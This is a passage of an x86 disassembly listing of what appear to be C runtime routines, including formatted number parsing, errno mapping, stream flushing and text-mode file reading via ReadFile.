sub_425A04+673j mov [esi], al inc esi loc_4260BD: ; CODE XREF: sub_425A04+6B4j mov [ebp+var_2C], esi jmp loc_426029 ; --------------------------------------------------------------------------- loc_4260C5: ; CODE XREF: sub_425A04+66Dj inc [ebp+var_30] jmp loc_426029 ; --------------------------------------------------------------------------- loc_4260CD: ; CODE XREF: sub_425A04+649j ; sub_425A04+667j dec [ebp+var_4] push edi push eax call sub_42647A pop ecx pop ecx loc_4260D9: ; CODE XREF: sub_425A04+633j cmp [ebp+var_30], esi jz loc_42640A cmp [ebp+var_E], 0 jnz loc_42636B inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_42636B cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_42610B and word ptr [eax], 0 jmp loc_42636B ; --------------------------------------------------------------------------- loc_42610B: ; CODE XREF: sub_425A04+6FCj and byte ptr [eax], 0 jmp loc_42636B ; --------------------------------------------------------------------------- loc_426113: ; CODE XREF: sub_425A04+466j mov [ebp+var_D], 1 loc_426117: ; CODE XREF: sub_425A04+203j ; sub_425A04+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_426125 mov [ebp+var_17], 1 jmp short loc_42612A ; --------------------------------------------------------------------------- loc_426125: ; CODE XREF: sub_425A04+719j cmp ebx, 2Bh jnz short loc_42614C loc_42612A: ; CODE XREF: sub_425A04+71Fj dec [ebp+var_C] jnz short loc_42613B cmp [ebp+var_20], 0 jz short loc_42613B mov [ebp+var_F], 1 jmp short loc_42614C ; --------------------------------------------------------------------------- loc_42613B: ; CODE XREF: sub_425A04+729j ; sub_425A04+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_426460 pop ecx mov ebx, eax loc_426149: ; CODE XREF: sub_425A04+543j mov [ebp+var_14], ebx loc_42614C: ; CODE XREF: sub_425A04+4FDj ; sub_425A04+52Dj ... cmp [ebp+var_30], 0 jz loc_426265 cmp [ebp+var_F], 0 jnz loc_426243 loc_426160: ; CODE XREF: sub_425A04+82Cj cmp esi, 78h jnz short loc_4261B4 cmp dword_449A44, 1 jle short loc_42617D push 80h push ebx call sub_42653A pop ecx pop ecx jmp short loc_42618A ; --------------------------------------------------------------------------- loc_42617D: ; CODE XREF: sub_425A04+768j mov eax, off_449838 mov al, [eax+ebx*2] and eax, 80h loc_42618A: ; CODE XREF: sub_425A04+777j test eax, eax jz loc_426235 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_42BA50 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_426429 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_426207 ; --------------------------------------------------------------------------- loc_4261B4: ; CODE XREF: sub_425A04+75Fj cmp dword_449A44, 1 jle short loc_4261C9 push 4 push ebx call sub_42653A pop ecx pop ecx jmp short loc_4261D4 ; --------------------------------------------------------------------------- loc_4261C9: ; CODE XREF: sub_425A04+7B7j mov eax, off_449838 mov al, [eax+ebx*2] and eax, 4 loc_4261D4: ; CODE XREF: sub_425A04+7C3j test eax, eax jz short loc_426235 cmp esi, 6Fh jnz short loc_4261F2 cmp ebx, 38h jge short loc_426235 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_42BA50 jmp short loc_426201 ; --------------------------------------------------------------------------- loc_4261F2: ; CODE XREF: sub_425A04+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_4265B0 loc_426201: ; CODE XREF: sub_425A04+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_426207: ; CODE XREF: sub_425A04+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_42621F dec [ebp+var_C] jz short loc_426243 loc_42621F: ; CODE XREF: sub_425A04+814j push [ebp+arg_0] inc [ebp+var_4] call sub_426460 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_426160 ; --------------------------------------------------------------------------- loc_426235: ; CODE XREF: sub_425A04+788j ; sub_425A04+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_42647A pop ecx pop ecx loc_426243: ; CODE XREF: sub_425A04+756j ; sub_425A04+819j cmp [ebp+var_17], 0 jz loc_426329 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_426329 ; --------------------------------------------------------------------------- loc_426265: ; CODE XREF: sub_425A04+74Cj cmp [ebp+var_F], 0 jnz loc_426321 loc_42626F: ; CODE XREF: sub_425A04+90Aj cmp esi, 78h jz short loc_4262B3 cmp esi, 70h jz short loc_4262B3 cmp dword_449A44, 1 jle short loc_42628E push 4 push ebx call sub_42653A pop ecx pop ecx jmp short loc_426299 ; --------------------------------------------------------------------------- loc_42628E: ; CODE XREF: sub_425A04+87Cj mov eax, off_449838 mov al, [eax+ebx*2] and eax, 4 loc_426299: ; CODE XREF: sub_425A04+888j test eax, eax jz short loc_426313 cmp esi, 6Fh jnz short loc_4262AC cmp ebx, 38h jge short loc_426313 shl edi, 3 jmp short loc_4262EB ; --------------------------------------------------------------------------- loc_4262AC: ; CODE XREF: sub_425A04+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_4262EB ; --------------------------------------------------------------------------- loc_4262B3: ; CODE XREF: sub_425A04+86Ej ; sub_425A04+873j cmp dword_449A44, 1 jle short loc_4262CB push 80h push ebx call sub_42653A pop ecx pop ecx jmp short loc_4262D8 ; --------------------------------------------------------------------------- loc_4262CB: ; CODE XREF: sub_425A04+8B6j mov eax, off_449838 mov al, [eax+ebx*2] and eax, 80h loc_4262D8: ; CODE XREF: sub_425A04+8C5j test eax, eax jz short loc_426313 push ebx shl edi, 4 call sub_426429 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_4262EB: ; CODE XREF: sub_425A04+8A6j ; sub_425A04+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_4262FD dec [ebp+var_C] jz short loc_426321 loc_4262FD: ; CODE XREF: sub_425A04+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_426460 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_42626F ; --------------------------------------------------------------------------- loc_426313: ; CODE XREF: sub_425A04+897j ; sub_425A04+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_42647A pop ecx pop ecx loc_426321: ; CODE XREF: sub_425A04+865j ; sub_425A04+8F7j cmp [ebp+var_17], 0 jz short loc_426329 neg edi loc_426329: ; CODE XREF: sub_425A04+843j ; sub_425A04+85Cj ... cmp esi, 46h jnz short loc_426332 and [ebp+var_1C], 0 loc_426332: ; CODE XREF: sub_425A04+928j cmp [ebp+var_1C], 0 jz loc_42640A cmp [ebp+var_E], 0 jnz short loc_42636B inc [ebp+var_34] loc_426345: ; CODE XREF: sub_425A04+23Bj cmp [ebp+var_30], 0 jz short loc_42635B mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_42636B ; --------------------------------------------------------------------------- loc_42635B: ; CODE XREF: sub_425A04+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_426368 mov [eax], edi jmp short loc_42636B ; --------------------------------------------------------------------------- loc_426368: ; CODE XREF: sub_425A04+95Ej mov [eax], di loc_42636B: ; CODE XREF: sub_425A04+241j ; sub_425A04+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_4263B8 ; --------------------------------------------------------------------------- loc_426376: ; CODE XREF: sub_425A04+93j inc [ebp+var_4] push edi call sub_426460 mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_4263E5 mov ecx, off_449838 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_4263B8 inc [ebp+var_4] push edi call sub_426460 pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_4263F3 dec [ebp+var_4] loc_4263B8: ; CODE XREF: sub_425A04+970j ; sub_425A04+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_4263CE cmp byte ptr [esi], 25h jnz short loc_426410 mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_426410 mov esi, eax loc_4263CE: ; CODE XREF: sub_425A04+9B8j mov al, [esi] test al, al jnz loc_425A2E jmp short loc_42640A ; --------------------------------------------------------------------------- loc_4263DA: ; CODE XREF: sub_425A04+1F4j ; sub_425A04+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_4263EA ; --------------------------------------------------------------------------- loc_4263E5: ; CODE XREF: sub_425A04+98Aj dec [ebp+var_4] push edi push ebx loc_4263EA: ; CODE XREF: sub_425A04+9DFj call sub_42647A pop ecx pop ecx jmp short loc_42640A ; --------------------------------------------------------------------------- loc_4263F3: ; CODE XREF: sub_425A04+9AFj dec [ebp+var_4] push edi push eax call sub_42647A dec [ebp+var_4] push edi push ebx call sub_42647A add esp, 10h loc_42640A: ; CODE XREF: sub_425A04+1Fj ; sub_425A04+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_426421 loc_426410: ; CODE XREF: sub_425A04+9BDj ; sub_425A04+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_426424 cmp [ebp+var_15], al jnz short loc_426424 or eax, 0FFFFFFFFh jmp short loc_426424 ; --------------------------------------------------------------------------- loc_426421: ; CODE XREF: sub_425A04+A0Aj mov eax, [ebp+var_34] loc_426424: ; CODE XREF: sub_425A04+A11j ; sub_425A04+A16j ... pop edi pop esi pop ebx leave retn sub_425A04 endp ; =============== S U B R O U T I N E ======================================= sub_426429 proc near ; CODE XREF: sub_425A04+7A3p ; sub_425A04+8DCp arg_0 = dword ptr 4 cmp dword_449A44, 1 push esi jle short loc_426443 mov esi, [esp+4+arg_0] push 4 push esi call sub_42653A pop ecx pop ecx jmp short loc_426452 ; --------------------------------------------------------------------------- loc_426443: ; CODE XREF: sub_426429+8j mov esi, [esp+4+arg_0] mov eax, off_449838 mov al, [eax+esi*2] and eax, 4 loc_426452: ; CODE XREF: sub_426429+18j test eax, eax jnz short loc_42645C and esi, 0FFFFFFDFh sub esi, 7 loc_42645C: ; CODE XREF: sub_426429+2Bj mov eax, esi pop esi retn sub_426429 endp ; =============== S U B R O U T I N E ======================================= sub_426460 proc near ; CODE XREF: sub_425A04+1E1p ; sub_425A04+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_426472 mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_426472: ; CODE XREF: sub_426460+7j push edx call sub_426826 pop ecx retn sub_426460 endp ; =============== S U B R O U T I N E ======================================= sub_42647A proc near ; CODE XREF: sub_425A04+6Bp ; sub_425A04+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_426490 push [esp+arg_4] push [esp+4+arg_0] call sub_42BA6F pop ecx pop ecx locret_426490: ; CODE XREF: sub_42647A+5j retn sub_42647A endp ; =============== S U B R O U T I N E ======================================= sub_426491 proc near ; CODE XREF: sub_425A04+63p ; sub_425A04+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_426497: ; CODE XREF: sub_426491+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_426460 mov edi, eax push edi call sub_423378 pop ecx test eax, eax pop ecx jnz short loc_426497 mov eax, edi pop edi pop esi retn sub_426491 endp ; =============== S U B R O U T I N E ======================================= sub_4264B5 proc near ; CODE XREF: sub_424450+16p ; sub_426641+73p ... arg_0 = dword ptr 4 push esi call sub_426531 mov ecx, [esp+4+arg_0] xor esi, esi mov [eax], ecx mov eax, offset dword_4496D0 loc_4264C8: ; CODE XREF: sub_4264B5+20j cmp ecx, [eax] jz short loc_4264EE add eax, 8 inc esi cmp eax, offset off_449838 jl short loc_4264C8 cmp ecx, 13h jb short loc_4264FE cmp ecx, 24h ja short loc_4264FE call sub_426528 mov dword ptr [eax], 0Dh pop esi retn ; --------------------------------------------------------------------------- loc_4264EE: ; CODE XREF: sub_4264B5+15j call sub_426528 mov ecx, dword_4496D4[esi*8] pop esi mov [eax], ecx retn ; --------------------------------------------------------------------------- loc_4264FE: ; CODE XREF: sub_4264B5+25j ; sub_4264B5+2Aj cmp ecx, 0BCh jb short loc_42651B cmp ecx, 0CAh ja short loc_42651B call sub_426528 mov dword ptr [eax], 8 pop esi retn ; --------------------------------------------------------------------------- loc_42651B: ; CODE XREF: sub_4264B5+4Fj ; sub_4264B5+57j call sub_426528 mov dword ptr [eax], 16h pop esi retn sub_4264B5 endp ; =============== S U B R O U T I N E ======================================= sub_426528 proc near ; CODE XREF: sub_4228B3:loc_422A65p ; sub_422D1B+83p ... call sub_42599D add eax, 8 retn sub_426528 endp ; =============== S U B R O U T I N E ======================================= sub_426531 proc near ; CODE XREF: sub_424450+36p ; sub_4264B5+1p ... call sub_42599D add eax, 0Ch retn sub_426531 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42653A proc near ; CODE XREF: sub_4228B3+27p ; sub_4228B3+E4p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_426558 mov ecx, off_449838 movzx eax, word ptr [ecx+eax*2] jmp short loc_4265AA ; --------------------------------------------------------------------------- loc_426558: ; CODE XREF: sub_42653A+10j mov ecx, eax push esi mov esi, off_449838 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_42657D and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_426586 ; --------------------------------------------------------------------------- loc_42657D: ; CODE XREF: sub_42653A+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_426586: ; CODE XREF: sub_42653A+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_42BADD add esp, 1Ch test eax, eax jnz short loc_4265A6 leave retn ; --------------------------------------------------------------------------- loc_4265A6: ; CODE XREF: sub_42653A+68j movzx eax, word ptr [ebp+arg_0+2] loc_4265AA: ; CODE XREF: sub_42653A+1Cj and eax, [ebp+arg_4] leave retn sub_42653A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4265B0 proc near ; CODE XREF: sub_425A04+7F8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_4265C9 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_4265C9: ; CODE XREF: sub_4265B0+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_4265B0 endp ; =============== S U B R O U T I N E ======================================= sub_4265E4 proc near ; CODE XREF: sub_41186E+10Fp ; sub_41186E+159p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] cmp esi, dword_631AE0 jnb short loc_426629 mov ecx, esi mov eax, esi sar ecx, 5 and eax, 1Fh mov ecx, dword_6319E0[ecx*4] lea eax, [eax+eax*8] test byte ptr [ecx+eax*4+4], 1 jz short loc_426629 push edi push esi call sub_42BE86 push esi call sub_426641 push esi mov edi, eax call sub_42BEE5 add esp, 0Ch mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_426629: ; CODE XREF: sub_4265E4+Bj ; sub_4265E4+26j call sub_426528 mov dword ptr [eax], 9 call sub_426531 and dword ptr [eax], 0 or eax, 0FFFFFFFFh pop esi retn sub_4265E4 endp ; =============== S U B R O U T I N E ======================================= sub_426641 proc near ; CODE XREF: sub_4265E4+30p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi push esi call sub_42BE44 cmp eax, 0FFFFFFFFh pop ecx jz short loc_42668F cmp esi, 1 jz short loc_42665D cmp esi, 2 jnz short loc_426673 loc_42665D: ; CODE XREF: sub_426641+15j push 2 call sub_42BE44 push 1 mov edi, eax call sub_42BE44 pop ecx cmp eax, edi pop ecx jz short loc_42668F loc_426673: ; CODE XREF: sub_426641+1Aj push esi call sub_42BE44 pop ecx push eax call dword_42F038 ; CloseHandle test eax, eax jnz short loc_42668F call dword_42F068 ; RtlGetLastWin32Error mov edi, eax jmp short loc_426691 ; --------------------------------------------------------------------------- loc_42668F: ; CODE XREF: sub_426641+10j ; sub_426641+30j ... xor edi, edi loc_426691: ; CODE XREF: sub_426641+4Cj push esi call sub_42BDC5 mov eax, esi and esi, 1Fh sar eax, 5 pop ecx mov eax, dword_6319E0[eax*4] lea ecx, [esi+esi*8] and byte ptr [eax+ecx*4+4], 0 test edi, edi jz short loc_4266BF push edi call sub_4264B5 pop ecx or eax, 0FFFFFFFFh jmp short loc_4266C1 ; --------------------------------------------------------------------------- loc_4266BF: ; CODE XREF: sub_426641+70j xor eax, eax loc_4266C1: ; CODE XREF: sub_426641+7Cj pop edi pop esi retn sub_426641 endp ; =============== S U B R O U T I N E ======================================= sub_4266C4 proc near ; CODE XREF: sub_422B96+18p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_4266ED test al, 8 jz short loc_4266ED push dword ptr [esi+8] call sub_4230B3 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_4266ED: ; CODE XREF: sub_4266C4+Aj ; sub_4266C4+Ej pop esi retn sub_4266C4 endp ; =============== S U B R O U T I N E ======================================= sub_4266EF proc near ; CODE XREF: sub_426782+4Cp ; sub_426782+67p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_42671D test eax, eax pop ecx jz short loc_426704 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_426704: ; CODE XREF: sub_4266EF+Ej test byte ptr [esi+0Dh], 40h jz short loc_426719 push dword ptr [esi+10h] call sub_42BF07 neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_426719: ; CODE XREF: sub_4266EF+19j xor eax, eax pop esi retn sub_4266EF endp ; =============== S U B R O U T I N E ======================================= sub_42671D proc near ; CODE XREF: sub_422B96+10p ; sub_422EA8+37p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_42676A test ax, 108h jz short loc_42676A mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_42676A push edi push eax push dword ptr [esi+10h] call sub_42AE6D add esp, 0Ch cmp eax, edi jnz short loc_426763 mov eax, [esi+0Ch] test al, 80h jz short loc_42676A and al, 0FDh mov [esi+0Ch], eax jmp short loc_42676A ; --------------------------------------------------------------------------- loc_426763: ; CODE XREF: sub_42671D+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_42676A: ; CODE XREF: sub_42671D+14j ; sub_42671D+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_42671D endp ; =============== S U B R O U T I N E ======================================= sub_426779 proc near ; CODE XREF: sub_424828p push 1 call sub_426782 pop ecx retn sub_426779 endp ; =============== S U B R O U T I N E ======================================= sub_426782 proc near ; CODE XREF: sub_426779+2p arg_0 = dword ptr 4 push ebx push esi push edi push 2 xor ebx, ebx xor edi, edi call sub_428436 xor esi, esi pop ecx cmp dword_632B00, esi jle short loc_42680F loc_42679B: ; CODE XREF: sub_426782+8Bj mov eax, dword_631AE8 mov eax, [eax+esi*4] test eax, eax jz short loc_426806 test byte ptr [eax+0Ch], 83h jz short loc_426806 push eax push esi call sub_42486B mov eax, dword_631AE8 pop ecx pop ecx mov eax, [eax+esi*4] mov ecx, [eax+0Ch] test cl, 83h jz short loc_4267F6 cmp [esp+0Ch+arg_0], 1 jnz short loc_4267DC push eax call sub_4266EF cmp eax, 0FFFFFFFFh pop ecx jz short loc_4267F6 inc ebx jmp short loc_4267F6 ; --------------------------------------------------------------------------- loc_4267DC: ; CODE XREF: sub_426782+49j cmp [esp+0Ch+arg_0], 0 jnz short loc_4267F6 test cl, 2 jz short loc_4267F6 push eax call sub_4266EF cmp eax, 0FFFFFFFFh pop ecx jnz short loc_4267F6 or edi, eax loc_4267F6: ; CODE XREF: sub_426782+42j ; sub_426782+55j ... mov eax, dword_631AE8 push dword ptr [eax+esi*4] push esi call sub_4248BD pop ecx pop ecx loc_426806: ; CODE XREF: sub_426782+23j ; sub_426782+29j inc esi cmp esi, dword_632B00 jl short loc_42679B loc_42680F: ; CODE XREF: sub_426782+17j push 2 call sub_428497 cmp [esp+10h+arg_0], 1 pop ecx mov eax, ebx jz short loc_426822 mov eax, edi loc_426822: ; CODE XREF: sub_426782+9Cj pop edi pop esi pop ebx retn sub_426782 endp ; =============== S U B R O U T I N E ======================================= sub_426826 proc near ; CODE XREF: sub_422C11+A9p ; sub_42458A+34p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_4268FD test al, 40h jnz loc_4268FD test al, 2 jz short loc_42684C or al, 20h mov [esi+0Ch], eax jmp loc_4268FD ; --------------------------------------------------------------------------- loc_42684C: ; CODE XREF: sub_426826+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_426860 push esi call sub_42B7F1 pop ecx jmp short loc_426865 ; --------------------------------------------------------------------------- loc_426860: ; CODE XREF: sub_426826+2Fj mov eax, [esi+8] mov [esi], eax loc_426865: ; CODE XREF: sub_426826+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_426902 add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_4268EC cmp eax, 0FFFFFFFFh jz short loc_4268EC mov edx, [esi+0Ch] test dl, 82h jnz short loc_4268C1 mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_4268AA mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_6319E0[edi*4] lea ecx, [ecx+ecx*8] lea edi, [edi+ecx*4] jmp short loc_4268AF ; --------------------------------------------------------------------------- loc_4268AA: ; CODE XREF: sub_426826+6Bj mov edi, offset dword_449A50 loc_4268AF: ; CODE XREF: sub_426826+82j mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_4268C1 or dh, 20h mov [esi+0Ch], edx loc_4268C1: ; CODE XREF: sub_426826+62j ; sub_426826+93j cmp dword ptr [esi+18h], 200h jnz short loc_4268DE mov ecx, [esi+0Ch] test cl, 8 jz short loc_4268DE test ch, 4 jnz short loc_4268DE mov dword ptr [esi+18h], 1000h loc_4268DE: ; CODE XREF: sub_426826+A2j ; sub_426826+AAj ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_4268EC: ; CODE XREF: sub_426826+55j ; sub_426826+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_4268FD: ; CODE XREF: sub_426826+Aj ; sub_426826+12j ... or eax, 0FFFFFFFFh pop esi retn sub_426826 endp ; =============== S U B R O U T I N E ======================================= sub_426902 proc near ; CODE XREF: sub_422C11+90p ; sub_426826+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] cmp esi, dword_631AE0 jnb short loc_42694F mov ecx, esi mov eax, esi sar ecx, 5 and eax, 1Fh mov ecx, dword_6319E0[ecx*4] lea eax, [eax+eax*8] test byte ptr [ecx+eax*4+4], 1 jz short loc_42694F push edi push esi call sub_42BE86 push [esp+0Ch+arg_8] push [esp+10h+arg_4] push esi call sub_426967 push esi mov edi, eax call sub_42BEE5 add esp, 14h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42694F: ; CODE XREF: sub_426902+Bj ; sub_426902+26j call sub_426528 mov dword ptr [eax], 9 call sub_426531 and dword ptr [eax], 0 or eax, 0FFFFFFFFh pop esi retn sub_426902 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426967 proc near ; CODE XREF: sub_426902+38p ; sub_42BF9A+274p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch and [ebp+var_8], 0 cmp [ebp+arg_8], 0 push ebx mov ebx, [ebp+arg_4] push esi push edi mov edx, ebx jz loc_426B39 mov eax, [ebp+arg_0] mov ecx, eax and eax, 1Fh sar ecx, 5 lea esi, [eax+eax*8] mov eax, dword_6319E0[ecx*4] lea edi, ds:6319E0h[ecx*4] shl esi, 2 add eax, esi mov cl, [eax+4] test cl, 2 jnz loc_426B39 test cl, 48h jz short loc_4269D2 mov al, [eax+5] cmp al, 0Ah jz short loc_4269D2 dec [ebp+arg_8] mov [ebx], al mov eax, [edi] lea edx, [ebx+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_4269D2: ; CODE XREF: sub_426967+4Cj ; sub_426967+53j lea eax, [ebp+var_C] push 0 push eax mov eax, [edi] push [ebp+arg_8] push edx push dword ptr [eax+esi] call dword_42F054 ; ReadFile test eax, eax jnz short loc_426A24 call dword_42F068 ; RtlGetLastWin32Error push 5 pop esi cmp eax, esi jnz short loc_426A0C call sub_426528 mov dword ptr [eax], 9 call sub_426531 mov [eax], esi jmp short loc_426A1C ; --------------------------------------------------------------------------- loc_426A0C: ; CODE XREF: sub_426967+8Fj cmp eax, 6Dh jz loc_426B39 push eax call sub_4264B5 pop ecx loc_426A1C: ; CODE XREF: sub_426967+A3j or eax, 0FFFFFFFFh jmp loc_426B3B ; --------------------------------------------------------------------------- loc_426A24: ; CODE XREF: sub_426967+82j mov eax, [edi] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_426B34 test edx, edx jz short loc_426A49 cmp byte ptr [ebx], 0Ah jnz short loc_426A49 or al, 4 jmp short loc_426A4B ; --------------------------------------------------------------------------- loc_426A49: ; CODE XREF: sub_426967+D7j ; sub_426967+DCj and al, 0FBh loc_426A4B: ; CODE XREF: sub_426967+E0j mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_426B2E loc_426A63: ; CODE XREF: sub_426967+1AFj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_426B1E cmp al, 0Dh jz short loc_426A7F mov [ebx], al inc ebx inc [ebp+arg_8] jmp loc_426B10 ; --------------------------------------------------------------------------- loc_426A7F: ; CODE XREF: sub_426967+10Bj dec ecx cmp [ebp+arg_8], ecx jnb short loc_426A9D mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_426A94 add [ebp+arg_8], 2 jmp short loc_426AF2 ; --------------------------------------------------------------------------- loc_426A94: ; CODE XREF: sub_426967+125j mov byte ptr [ebx], 0Dh inc ebx mov [ebp+arg_8], eax jmp short loc_426B10 ; --------------------------------------------------------------------------- loc_426A9D: ; CODE XREF: sub_426967+11Cj lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [edi] push dword ptr [eax+esi] call dword_42F054 ; ReadFile test eax, eax jnz short loc_426AC5 call dword_42F068 ; RtlGetLastWin32Error test eax, eax jnz short loc_426B0C loc_426AC5: ; CODE XREF: sub_426967+152j cmp [ebp+var_C], 0 jz short loc_426B0C mov eax, [edi] test byte ptr [eax+esi+4], 48h jz short loc_426AE7 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_426AF2 mov byte ptr [ebx], 0Dh mov ecx, [edi] inc ebx mov [ecx+esi+5], al jmp short loc_426B10 ; --------------------------------------------------------------------------- loc_426AE7: ; CODE XREF: sub_426967+16Bj cmp ebx, [ebp+arg_4] jnz short loc_426AF7 cmp [ebp+var_1], 0Ah jnz short loc_426AF7 loc_426AF2: ; CODE XREF: sub_426967+12Bj ; sub_426967+172j mov byte ptr [ebx], 0Ah jmp short loc_426B0F ; --------------------------------------------------------------------------- loc_426AF7: ; CODE XREF: sub_426967+183j ; sub_426967+189j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_426D61 add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_426B10 loc_426B0C: ; CODE XREF: sub_426967+15Cj ; sub_426967+162j mov byte ptr [ebx], 0Dh loc_426B0F: ; CODE XREF: sub_426967+18Ej inc ebx loc_426B10: ; CODE XREF: sub_426967+113j ; sub_426967+134j ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_426A63 jmp short loc_426B2E ; --------------------------------------------------------------------------- loc_426B1E: ; CODE XREF: 